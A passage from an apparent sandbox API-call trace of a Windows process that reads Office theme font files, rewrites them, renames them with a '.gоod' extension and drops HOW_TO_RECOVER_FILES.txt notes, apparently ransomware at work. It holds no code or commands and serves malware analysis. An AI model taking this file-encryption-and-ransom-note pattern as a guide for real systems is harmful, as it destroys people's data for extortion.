lpFileInformation=0x200ec930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x114a91d5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x114a91d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x62387b24, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xdf0)) returned 1 [0171.134] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec810) returned 1 [0171.134] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Times New Roman-Arial.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\times new roman-arial.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Times New Roman-Arial.xml.gоod" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\times new roman-arial.xml.gоod")) returned 1 [0171.134] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\TrebuchetMs.xml", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\TrebuchetMs.xml", lpFilePart=0x0) returned 0x55 [0171.135] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec890) returned 1 [0171.135] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\TrebuchetMs.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\trebuchetms.xml"), fInfoLevelId=0x0, lpFileInformation=0x34ff380 | out: lpFileInformation=0x34ff380*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x114a91d5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x114a91d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11567da2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xdd7)) returned 1 [0171.135] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec850) returned 1 [0171.135] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\TrebuchetMs.xml", nBufferLength=0x105, lpBuffer=0x200ec220, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\TrebuchetMs.xml", lpFilePart=0x0) returned 0x55 [0171.135] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec740) returned 1 [0171.135] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\TrebuchetMs.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\trebuchetms.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0171.135] GetFileType (hFile=0x650) returned 0x1 [0171.135] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec6b0) returned 1 [0171.135] GetFileType (hFile=0x650) returned 0x1 [0171.135] GetFileSize (in: hFile=0x650, lpFileSizeHigh=0x200ec8e8 | out: lpFileSizeHigh=0x200ec8e8*=0x0) returned 0xdd7 [0171.135] ReadFile (in: hFile=0x650, lpBuffer=0x3500440, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ec818, lpOverlapped=0x0 | out: lpBuffer=0x3500440*, lpNumberOfBytesRead=0x200ec818*=0xdd7, lpOverlapped=0x0) returned 1 [0171.137] CloseHandle (hObject=0x650) returned 1 [0171.256] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\TrebuchetMs.xml", nBufferLength=0x105, lpBuffer=0x200ec220, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\TrebuchetMs.xml", lpFilePart=0x0) returned 0x55 [0171.256] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec740) returned 1 [0171.256] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\TrebuchetMs.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\trebuchetms.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x640 [0171.258] GetFileType (hFile=0x640) returned 0x1 [0171.258] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec6b0) returned 1 [0171.258] GetFileType (hFile=0x640) returned 0x1 [0171.258] WriteFile (in: hFile=0x640, lpBuffer=0x3395c48*, nNumberOfBytesToWrite=0xde0, lpNumberOfBytesWritten=0x200ec728, lpOverlapped=0x0 | out: lpBuffer=0x3395c48*, lpNumberOfBytesWritten=0x200ec728*=0xde0, lpOverlapped=0x0) returned 1 [0171.259] CloseHandle (hObject=0x640) returned 1 [0171.259] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\TrebuchetMs.xml", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\TrebuchetMs.xml", lpFilePart=0x0) returned 0x55 [0171.259] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\TrebuchetMs.xml.gоod", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\TrebuchetMs.xml.gоod", lpFilePart=0x0) returned 0x5a [0171.259] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec850) returned 1 [0171.259] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\TrebuchetMs.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\trebuchetms.xml"), fInfoLevelId=0x0, lpFileInformation=0x200ec930 | out: lpFileInformation=0x200ec930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x114a91d5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x114a91d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x624b934f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xde0)) returned 1 [0171.259] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec810) returned 1 [0171.259] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\TrebuchetMs.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\trebuchetms.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\TrebuchetMs.xml.gоod" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\trebuchetms.xml.gоod")) returned 1 [0171.260] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Tw Cen MT-Rockwell.xml", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Tw Cen MT-Rockwell.xml", lpFilePart=0x0) returned 0x5c [0171.260] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec890) returned 1 [0171.260] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Tw Cen MT-Rockwell.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\tw cen mt-rockwell.xml"), fInfoLevelId=0x0, lpFileInformation=0x3396f38 | out: lpFileInformation=0x3396f38*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1151b8e4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1151b8e4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11567da2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xe9e)) returned 1 [0171.260] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec850) returned 1 [0171.260] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Tw Cen MT-Rockwell.xml", nBufferLength=0x105, lpBuffer=0x200ec220, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Tw Cen MT-Rockwell.xml", lpFilePart=0x0) returned 0x5c [0171.260] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec740) returned 1 [0171.260] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Tw Cen MT-Rockwell.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\tw cen mt-rockwell.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x640 [0171.260] GetFileType (hFile=0x640) returned 0x1 [0171.260] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec6b0) returned 1 [0171.260] GetFileType (hFile=0x640) returned 0x1 [0171.260] GetFileSize (in: hFile=0x640, lpFileSizeHigh=0x200ec8e8 | out: lpFileSizeHigh=0x200ec8e8*=0x0) returned 0xe9e [0171.261] ReadFile (in: hFile=0x640, lpBuffer=0x3398100, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ec818, lpOverlapped=0x0 | out: lpBuffer=0x3398100*, lpNumberOfBytesRead=0x200ec818*=0xe9e, lpOverlapped=0x0) returned 1 [0171.262] CloseHandle (hObject=0x640) returned 1 [0171.538] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Tw Cen MT-Rockwell.xml", nBufferLength=0x105, lpBuffer=0x200ec220, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Tw Cen MT-Rockwell.xml", lpFilePart=0x0) returned 0x5c [0171.538] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec740) returned 1 [0171.538] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Tw Cen MT-Rockwell.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\tw cen mt-rockwell.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0172.156] GetFileType (hFile=0x768) returned 0x1 [0172.156] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec6b0) returned 1 [0172.156] GetFileType (hFile=0x768) returned 0x1 [0172.352] WriteFile (in: hFile=0x768, lpBuffer=0x33cf2e0*, nNumberOfBytesToWrite=0xea0, lpNumberOfBytesWritten=0x200ec728, lpOverlapped=0x0 | out: lpBuffer=0x33cf2e0*, lpNumberOfBytesWritten=0x200ec728*=0xea0, lpOverlapped=0x0) returned 1 [0172.385] CloseHandle (hObject=0x768) returned 1 [0172.386] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Tw Cen MT-Rockwell.xml", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Tw Cen MT-Rockwell.xml", lpFilePart=0x0) returned 0x5c [0172.386] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Tw Cen MT-Rockwell.xml.gоod", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Tw Cen MT-Rockwell.xml.gоod", lpFilePart=0x0) returned 0x61 [0172.386] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec850) returned 1 [0172.386] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Tw Cen MT-Rockwell.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\tw cen mt-rockwell.xml"), fInfoLevelId=0x0, lpFileInformation=0x200ec930 | out: lpFileInformation=0x200ec930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1151b8e4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1151b8e4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x62f73448, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xea0)) returned 1 [0172.386] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec810) returned 1 [0172.386] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Tw Cen MT-Rockwell.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\tw cen mt-rockwell.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Tw Cen MT-Rockwell.xml.gоod" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\tw cen mt-rockwell.xml.gоod")) returned 1 [0172.387] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Tw Cen MT.xml", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Tw Cen MT.xml", lpFilePart=0x0) returned 0x53 [0172.387] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec890) returned 1 [0172.387] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Tw Cen MT.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\tw cen mt.xml"), fInfoLevelId=0x0, lpFileInformation=0x3450658 | out: lpFileInformation=0x3450658*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x114a91d5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x114a91d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x114a91d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xea0)) returned 1 [0172.387] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec850) returned 1 [0172.387] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Tw Cen MT.xml", nBufferLength=0x105, lpBuffer=0x200ec220, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Tw Cen MT.xml", lpFilePart=0x0) returned 0x53 [0172.387] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec740) returned 1 [0172.387] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Tw Cen MT.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\tw cen mt.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0172.387] GetFileType (hFile=0x768) returned 0x1 [0172.387] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec6b0) returned 1 [0172.387] GetFileType (hFile=0x768) returned 0x1 [0172.387] GetFileSize (in: hFile=0x768, lpFileSizeHigh=0x200ec8e8 | out: lpFileSizeHigh=0x200ec8e8*=0x0) returned 0xea0 [0172.387] ReadFile (in: hFile=0x768, lpBuffer=0x34517d0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ec818, lpOverlapped=0x0 | out: lpBuffer=0x34517d0*, lpNumberOfBytesRead=0x200ec818*=0xea0, lpOverlapped=0x0) returned 1 [0172.388] CloseHandle (hObject=0x768) returned 1 [0172.426] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Tw Cen MT.xml", nBufferLength=0x105, lpBuffer=0x200ec220, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Tw Cen MT.xml", lpFilePart=0x0) returned 0x53 [0172.426] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec740) returned 1 [0172.426] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Tw Cen MT.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\tw cen mt.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0172.427] GetFileType (hFile=0x768) returned 0x1 [0172.427] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec6b0) returned 1 [0172.427] GetFileType (hFile=0x768) returned 0x1 [0172.427] WriteFile (in: hFile=0x768, lpBuffer=0x34cdc50*, nNumberOfBytesToWrite=0xeb0, lpNumberOfBytesWritten=0x200ec728, lpOverlapped=0x0 | out: lpBuffer=0x34cdc50*, lpNumberOfBytesWritten=0x200ec728*=0xeb0, lpOverlapped=0x0) returned 1 [0172.428] CloseHandle (hObject=0x768) returned 1 [0172.428] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Tw Cen MT.xml", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Tw Cen MT.xml", lpFilePart=0x0) returned 0x53 [0172.428] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Tw Cen MT.xml.gоod", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Tw Cen MT.xml.gоod", lpFilePart=0x0) returned 0x58 [0172.428] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec850) returned 1 [0172.428] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Tw Cen MT.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\tw cen mt.xml"), fInfoLevelId=0x0, lpFileInformation=0x200ec930 | out: lpFileInformation=0x200ec930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x114a91d5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x114a91d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x62fbfc73, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xeb0)) returned 1 [0172.428] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec810) returned 1 [0172.428] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Tw Cen MT.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\tw cen mt.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Tw Cen MT.xml.gоod" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\tw cen mt.xml.gоod")) returned 1 [0172.726] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x200ec530, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x5e [0172.726] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200eca50) returned 1 [0172.726] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x80c [0172.727] GetFileType (hFile=0x80c) returned 0x1 [0172.727] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec9c0) returned 1 [0172.727] GetFileType (hFile=0x80c) returned 0x1 [0172.728] WriteFile (in: hFile=0x80c, lpBuffer=0x3523918*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x200ecb18, lpOverlapped=0x0 | out: lpBuffer=0x3523918*, lpNumberOfBytesWritten=0x200ecb18*=0x5d0, lpOverlapped=0x0) returned 1 [0172.729] CloseHandle (hObject=0x80c) returned 1 [0172.729] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x200ecf60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x52 [0172.729] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ed480) returned 1 [0172.729] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x80c [0172.729] GetFileType (hFile=0x80c) returned 0x1 [0172.729] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ed3f0) returned 1 [0172.729] GetFileType (hFile=0x80c) returned 0x1 [0172.730] WriteFile (in: hFile=0x80c, lpBuffer=0x3527168*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x200ed548, lpOverlapped=0x0 | out: lpBuffer=0x3527168*, lpNumberOfBytesWritten=0x200ed548*=0x5d0, lpOverlapped=0x0) returned 1 [0172.741] CloseHandle (hObject=0x80c) returned 1 [0172.741] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ed510) returned 1 [0172.741] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener", nBufferLength=0x105, lpBuffer=0x200ecfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Flattener", lpFilePart=0x0) returned 0x30 [0172.741] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\*", lpFindFileData=0x200ed230 | out: lpFindFileData=0x200ed230*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x114f5747, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x114f5747, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0172.742] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x114f5747, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x114f5747, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0172.742] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa937f07, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa937f07, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfae22cc9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x48c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-file-l1-2-0.dll", cAlternateFileName="APDEA0~1.DLL")) returned 1 [0172.742] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf035e09d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf035e09d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf035e09d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x48c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-file-l2-1-0.dll", cAlternateFileName="API-MS~2.DLL")) returned 1 [0172.742] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x5c164a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5c164a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5c164a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x52c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-localization-l1-2-0.dll", cAlternateFileName="AP6221~1.DLL")) returned 1 [0172.742] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf5a3de35, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf5a3de35, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf5a6407d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-processthreads-l1-1-1.dll", cAlternateFileName="AP750A~1.DLL")) returned 1 [0172.743] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf17ee5c3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf17ee5c3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1814809, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-synch-l1-2-0.dll", cAlternateFileName="API-MS~3.DLL")) returned 1 [0172.743] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfbdee689, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfbdee689, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfbdee689, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x48c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-timezone-l1-1-0.dll", cAlternateFileName="AP7902~1.DLL")) 